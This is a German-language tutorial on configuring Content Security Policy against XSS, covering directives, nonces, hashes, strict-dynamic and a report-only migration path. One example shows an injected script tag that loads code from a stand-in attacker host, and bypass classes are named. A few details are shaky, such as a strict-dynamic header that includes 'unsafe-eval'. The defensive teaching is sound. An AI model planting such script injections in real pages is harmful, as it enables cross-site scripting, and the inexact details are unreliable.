Content Security Policy ist die wirksamste browser-seitige Schicht gegen XSS — und gleichzeitig eine der am häufigsten falsch konfigurierten. Eine gut gesetzte CSP verhindert die meisten realen XSS-Angriffe selbst dann, wenn eine Eingabe-Validierung versagt: der Browser weigert sich einfach, fremdes JavaScript auszuführen. Eine falsch gesetzte CSP gibt nur ein Compliance-Häkchen, aber keinen Schutz. Dieser Artikel zeigt das CSP-Modell, die wichtigsten Direktiven und einen realistischen Migrations-Pfad für bestehende Anwendungen.
Was CSP tut
CSP ist ein HTTP-Response-Header (oder Meta-Tag), der dem Browser sagt, welche Quellen für verschiedene Ressourcen-Typen erlaubt sind. Was nicht in der Policy steht, wird blockiert — auch wenn die Seite selbst es referenziert.
Beispiel-Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example; img-src *; frame-ancestors 'none';Bedeutet:
default-src 'self'— alle nicht-spezifizierten Ressourcen-Typen nur von der eigenen Origin.script-src 'self' https://cdn.example— JavaScript nur von eigener Origin und einer Drittanbieter-CDN.img-src *— Bilder von überall.frame-ancestors 'none'— Seite darf in keinem iframe eingebettet werden (clickjacking-Schutz).
Wenn ein:e Angreifer:in es schafft, <script src="https://attacker.example/evil.js"></script> auf der Seite zu platzieren — der Browser lädt das Skript nicht, weil attacker.example nicht in der Whitelist steht. XSS-Versuch scheitert auf Browser-Ebene.
Die wichtigsten Direktiven
CSP hat über 20 Direktiven. Die folgenden sind die produktiv relevantesten:
| Direktive | Was sie kontrolliert |
|---|---|
default-src | Default für alle nicht-spezifizierten Direktiven |
script-src | JavaScript-Quellen (am wichtigsten für XSS-Schutz) |
style-src | CSS-Quellen |
img-src | Bild-Quellen |
connect-src | XHR/fetch/WebSocket-Ziele |
font-src | Schrift-Quellen |
media-src | Audio/Video-Quellen |
object-src | Plugins (Flash, Java) — meist 'none' |
frame-src / child-src | Erlaubte iframe-Quellen |
frame-ancestors | Wer darf uns einbetten (Clickjacking-Schutz) |
form-action | Erlaubte Form-Ziele |
base-uri | Erlaubte <base>-URLs |
upgrade-insecure-requests | HTTP → HTTPS-Upgrade erzwingen |
report-uri / report-to | Wohin Violations gemeldet werden |
Source-Werte für Direktiven:
'none'— gar keine Quelle erlaubt.'self'— gleiche Origin.- Konkrete URLs —
https://cdn.example,https://api.partner.example. - Wildcards —
*.example.com(Subdomain-Wildcard),*(alles — vermeiden). - Schema-Werte —
https:,data:,blob:. 'unsafe-inline'— erlaubt Inline-Skripte/-Styles (vermeiden — siehe nächster Abschnitt).'unsafe-eval'— erlaubteval()undFunction()(vermeiden).'nonce-{wert}'— erlaubt Skripte mit passendemnonce-Attribut.'sha256-{hash}'— erlaubt Skripte mit passendem Hash.'strict-dynamic'— siehe weiter unten.
Das Inline-Script-Problem
Eine starke CSP ohne 'unsafe-inline' blockiert alle Inline-Skripte und <script>-Tags ohne src. Das ist der wichtigste XSS-Schutz — die meisten realen XSS-Angriffe injizieren genau solche Inline-Skripte.
Aber: viele Anwendungen nutzen legitime Inline-Skripte (z. B. Analytics-Initialisierung, Konfig-Übergabe, Hydration-Daten in SSR-Apps). Wie löst man das?
Antwort 1: Nonces.
Bei jedem Page-Render generiert der Server ein zufälliges Nonce und schreibt es sowohl in den CSP-Header als auch in jedes legitime Inline-Skript:
<!-- Server-Render -->
<script nonce="r4nd0m-v4lu3-per-request">
console.log('Legitimes Inline-Skript');
</script>Content-Security-Policy: script-src 'nonce-r4nd0m-v4lu3-per-request' 'strict-dynamic'Nur Skripte mit dem korrekten Nonce werden ausgeführt. Ein:e Angreifer:in, die einen Inline-Skript injiziert, kennt das Nonce nicht — der Browser blockiert das Skript.
Wichtig:
- Nonce muss kryptografisch zufällig sein — mindestens 128 Bit Entropie.
- Nonce muss pro Request neu generiert werden — wiederverwendete Nonces sind erratbar.
- Nonce darf nicht in Eingaben des Nutzers reflektiert werden (sonst kann es vom XSS gelesen werden).
Antwort 2: Hashes.
Statt Nonce kann auch ein Hash des erwarteten Skript-Inhalts in der CSP stehen:
Content-Security-Policy: script-src 'sha256-XXqx5BUyaxqYn6gnaaA...'Browser berechnet den Hash jedes Inline-Skripts und prüft gegen die Liste. Vorteile: kein Server-seitiges Nonce-Management. Nachteil: jeder Skript-Inhalt braucht eigenen Hash, ändert sich der Inhalt, ändert sich der Hash.
Hashes sind vor allem für statische Inline-Skripte geeignet (z. B. Analytics-Snippets, die selten ändern).
Strict-Dynamic: das moderne Pattern
Bis CSP Level 2 hattest du ein Dilemma: für legitime Skripte, die andere Skripte dynamisch nachladen (Modul-Loader, Tag-Manager), musstest du die Drittanbieter-URLs in der Whitelist haben. Diese Whitelists wurden riesig — und Whitelists wurden bei XSS-Angriffen oft missbraucht (z. B. https://www.google.com erlauben, damit Tag-Manager funktioniert — Angreifer hostet Skript auf https://www.google.com/sorry/...-Pfaden).
'strict-dynamic' (CSP Level 3) löst das:
Content-Security-Policy: script-src 'nonce-xyz123' 'strict-dynamic' 'unsafe-eval'Bedeutet: Skripte mit dem richtigen Nonce werden ausgeführt. Skripte, die diese Skripte dynamisch geladen haben, werden ebenfalls erlaubt — Vertrauen wird transitiv weitergereicht. URL-Whitelists werden ignoriert.
Vorteile:
- Keine Domain-Whitelist nötig.
- Drittanbieter-Skripte wie Tag-Manager, Analytics, Werbe-Networks funktionieren transparent.
- Strikter Schutz — nur Skripte mit Nonce oder transitiv geladen.
Das ist die Empfehlung von Google CSP-Evaluator und der moderne Standard für CSP-Setups.
Report-Only-Modus: die Migrations-Brücke
Wenn du eine bestehende Anwendung mit CSP härten willst, kannst du nicht einfach „strikt einschalten" — du würdest die Hälfte der eigenen Funktionen brechen. Lösung: report-only-Modus.
Content-Security-Policy-Report-Only: script-src 'nonce-xyz' 'strict-dynamic'; report-uri /csp-reportDer Browser erzwingt die Policy nicht, sondern meldet Violations an die angegebene Report-URL. Du sammelst Daten über echte User-Browser, siehst, welche Skripte unter der strikten Policy brechen würden — und kannst sukzessive entweder die Policy lockern oder den Code fixen.
Wenn die Reports nach einigen Tagen ruhig sind, wechselst du von Content-Security-Policy-Report-Only auf Content-Security-Policy (enforce).
Modern: report-to mit Reporting-API.
report-uri ist deprecated — die moderne Form ist report-to, das mit der Reporting-API zusammenarbeitet:
Reporting-Endpoints: csp-endpoint="https://example.com/csp-report"
Content-Security-Policy: default-src 'self'; report-to csp-endpointBrowser-Unterstützung ist 2025 weitgehend gegeben; für Übergangs-Phase oft beide Header setzen.
Report-Tooling:
- Eigener Endpunkt der Reports in DB schreibt und auswertet.
- Report-URI.com — kommerzielles Tool.
- Sentry und ähnliche Error-Tracker akzeptieren CSP-Reports.
- CloudFlare CSP-Reports — direkt in Cloudflare-Konsole.
Realistischer Migrations-Pfad
Wie führst du CSP in einer bestehenden Anwendung ein? Vier Phasen:
Phase 1 — Baseline messen.
- Aktuelle Skripte und Quellen inventarisieren: was lädt deine Anwendung tatsächlich?
- Browser-DevTools-Network-Tab oder eine simple CSP wie
default-src *(alles erlauben) im Report-Only-Modus → siehst, was geladen wird.
Phase 2 — CSP im Report-Only-Modus.
- Strikte Policy entwerfen (
script-src 'nonce-...' 'strict-dynamic'; default-src 'self'). - Im Report-Only-Modus ausrollen.
- Logs einige Tage sammeln, Violations analysieren.
Phase 3 — Code-Anpassungen.
- Inline-Skripte mit Nonce ausstatten.
- Inline-Event-Handler (
onclick="...") durchaddEventListenerersetzen. eval/Functiondurch sicheren Code ersetzen (kommt selten vor, aber existiert in Legacy).- Drittanbieter-Skripte überprüfen — manche brauchen explizite Whitelist trotz
strict-dynamic.
Phase 4 — Enforce.
Report-Only→Content-Security-Policyumschalten.- Weiter Reports beobachten — neue Violations können bei Feature-Updates auftauchen.
Häufige Verschlimmerungen:
'unsafe-inline'inscript-src— fast unbrauchbar, weil das genau die XSS-Angriffsfläche zurückbringt, gegen die CSP schützen soll. Wenn unvermeidbar in Legacy: dokumentiert, Migrationsplan zu Nonces.*als Wildcard — erlaubt jedes Skript. Nur inimg-srcakzeptabel, nirgendwo sonst.data:inscript-src— erlaubt Base64-eingebettete Skripte. Sehr selten nötig, oft Bypass-Vektor.
Testen und Bewerten
Google CSP Evaluator.
csp-evaluator.withgoogle.com ist das De-facto-Standard-Tool. URL eingeben → Policy-Analyse mit konkreten Verbesserungs-Hinweisen. Erkennt klassische Schwächen (Wildcards, 'unsafe-inline', fehlende Direktiven).
Mozilla Observatory. observatory.mozilla.org prüft die ganze Sicherheits-Header-Sammlung inklusive CSP und gibt eine Bewertung.
Security Headers. securityheaders.com für schnellen Überblick aller Header.
Browser-DevTools. DevTools-Console zeigt CSP-Violations beim Laden der Seite. Pro Page-Load sieht man, welche Skripte/Styles/etc. blockiert wurden.
Sehr gut zum Lernen:
- CSP Evaluator Open Source — Algorithmen lokal nachvollziehen.
- Web-Platform-Tests CSP-Suite — Edge-Cases studieren.
CSP und Drittanbieter
Eines der größten Probleme in realen Setups: Drittanbieter-Skripte. Analytics (Google Analytics, Plausible, Matomo), Tag-Manager, Werbung, Live-Chat-Widgets, Marketing-Pixel — sie laden alle Skripte aus fremden Origins. Strikte CSP muss damit umgehen.
Drei Ansätze:
1. Domain-Whitelist (Legacy).
Jeden Drittanbieter explizit in script-src aufnehmen. Funktioniert, aber: Whitelists werden riesig und schwer zu pflegen. Außerdem oft bypass-anfällig (Google-CSE-Bypass, Tag-Manager-Bypass).
2. Strict-Dynamic mit Nonces (empfohlen). Du gibst dem eigenen Initialisierungs-Skript einen Nonce. Das Skript lädt dann Drittanbieter-Skripte transitiv. CSP erlaubt das. Drittanbieter wechseln ohne Policy-Update.
3. Subresource Integrity (SRI). Bei externen Skripten kannst du den Hash mit-spezifizieren:
<script src="https://cdn.example/lib.js"
integrity="sha384-XXxXX..."
crossorigin="anonymous"></script>Browser lädt das Skript, prüft den Hash gegen das Attribut — passt es nicht, wird das Skript abgelehnt. Schutz auch dann, wenn die CDN kompromittiert wird. Funktioniert für statische Drittanbieter-Skripte; nicht für dynamisch ändernde wie Analytics-Snippets.
Besonderheiten
CSP-Tagung 2018 und Strict-Dynamic
Google hat 2018 nach einer großen Studie zu CSP-Verbreitung das strict-dynamic-Pattern als offizielle Empfehlung etabliert. Studie zeigte: 95 % der existierenden CSPs waren durch Whitelist-Bypass-Tricks umgehbar — Domain-basierte Whitelisting funktioniert in der Praxis nicht.
CSP Level 3 ist Standard, Level 4 in Entwicklung
CSP Level 3 (2024 abgeschlossen) brachte strict-dynamic, script-src-elem, script-src-attr und navigate-to. Level 4 (in Entwicklung) plant verbessertes Reporting und granulare Trusted-Types-Integration. Wer eine neue App baut: gleich Level 3 anstreben.
Auch CSP hat Bypass-Forschung
CSP-Bypasses sind ein eigener Forschungszweig. Bekannte Klassen: JSONP-Endpunkte auf Whitelist-Domains, AngularJS-CSP-Bypass via Sandbox-Eval, Base-Tag-Manipulation, Polyglot-Skripte. Burp Plugin CSP-Bypass findet manches automatisch. Strict-dynamic + Nonce schließt die meisten dieser Bypass-Klassen.
Meta-Tag-CSP ist eingeschränkt
CSP kann auch im HTML als <meta http-equiv="Content-Security-Policy"> gesetzt werden — funktioniert für die meisten Direktiven, aber nicht für frame-ancestors, report-uri oder sandbox. HTTP-Header ist der saubere Weg.
CSP Reports sind ein Datenschutz-Thema
CSP-Violations werden mit URL, Blocked-URL und manchmal Source-Code-Snippets gemeldet. Wenn du Reports an einen Drittanbieter (Sentry, Report-URI.com) schickst, leakst du indirekt Informationen über deine Anwendung. Bei sehr datenschutz-sensiblen Apps: eigenen Report-Endpunkt nutzen.
HTTP/2 + CSP — keine Wechselwirkung
Manche Sicherheits-Diskussionen verwechseln HTTP-Schicht und Content-Schicht. CSP wirkt unabhängig vom HTTP-Protokoll-Version. HTTP/2 oder HTTP/3 ändern CSP-Verhalten nicht.
React Server Components und CSP
Moderne SSR-Frameworks (Next.js, Remix, SvelteKit) erzeugen oft serialisierte JSON-Daten in Inline-Scripts. Diese brauchen entweder Nonces oder müssen extern als Datei geladen werden. Next.js hat ein CSP-Guide mit Nonce-Integration.
Weiterführende Ressourcen
Externe Quellen
- W3C — Content Security Policy Level 3
- Google CSP Evaluator
- Google — Strict CSP Guide
- MDN — Content Security Policy
- content-security-policy.com — Reference
- Mozilla Observatory
- Security Headers Test
- Report-URI — CSP Reports Service
- OWASP CSP Cheat Sheet